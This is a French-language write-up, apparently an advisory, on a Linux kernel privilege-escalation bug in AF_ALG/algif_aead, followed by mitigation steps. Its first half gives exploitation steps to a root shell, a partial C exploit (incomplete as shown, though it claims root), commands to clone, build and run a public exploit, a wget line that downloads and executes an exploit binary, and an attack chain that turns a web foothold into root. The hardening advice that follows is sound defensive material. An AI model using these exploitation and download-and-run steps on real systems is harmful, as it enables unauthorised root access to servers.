Buffer overflow → écriture hors limites dans la mémoire du noyau

algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy vers une adresse partiellement contrôlée par l'utilisateur

// Cela peut être fait par n'importe quel utilisateur du système
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

# Vérifier la version du noyau
uname -r

# Vérifier si le module vulnérable est chargé
lsmod | grep algif_aead

# Vérifier si AF_ALG est disponible
cat /proc/net/protocols | grep ALG

$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

1. Ouvrir un socket AF_ALG (algif_aead)
2. Envoyer sendmsg() avec un buffer surdimensionné
3. recvmsg() avec un buffer plus petit → déclenchement du bug
4. Écriture hors limites dans le tas du noyau
5. Réécrire cred->uid/gid à 0
6. execve("/bin/sh") → shell root

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // Configurer une clé de 16 octets
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // Grand buffer → déclenchement de l'écriture hors limites
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... construction du msghdr avec cmsg ALG_OP_ENCRYPT
    sendmsg(op_fd, &msg, 0);

    // recvmsg avec un buffer insuffisant → le noyau écrit hors limites
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // Si l'exploit a fonctionné, nous sommes maintenant root
    if (getuid() == 0) {
        printf("[+] Root obtenu !\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

# Cloner et compiler copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# Résultat attendu sur un système vulnérable :
# [*] Vérification du module algif_aead...
# [*] Préparation du spray de tas...
# [+] Écriture hors limites réussie
# [+] UID maintenant : 0
# # whoami
# root

wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

Attaquant externe
      │
      ▼
Exploite une vulnérabilité web (RCE) → accès en tant que www-data
      │
      ▼
Télécharge copyfail sur le serveur (wget/curl)
      │
      ▼
Exécute ./copyfail
      │
      ▼
Shell root sur le serveur ✓

# Option 1 : Mise à niveau vers Ubuntu 24.04 LTS (recommandé)
do-release-upgrade

# Option 2 : Si vous avez déjà Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Vérifier le noyau corrigé
uname -r   # doit être ≥ 5.15.0-107 sur Ubuntu 22.04

# Créer une blacklist du module
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# Régénérer initramfs pour que ce soit permanent
sudo update-initramfs -u

# Redémarrer
sudo reboot

lsmod | grep algif_aead
# Rien ne doit apparaître

# Désactiver les user namespaces sans privilèges (casse certaines fonctionnalités de Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# Rendre permanent
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # refuser dans les profils spécifiques

# Ajouter au profil AppArmor de www-data ou nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

# Vérifier que www-data n'a pas sudo
sudo grep www-data /etc/sudoers

# Supprimer les binaires SUID inutiles
find / -perm -4000 2>/dev/null

# Restreindre les répertoires accessibles
chmod 700 /root
chmod 750 /home/*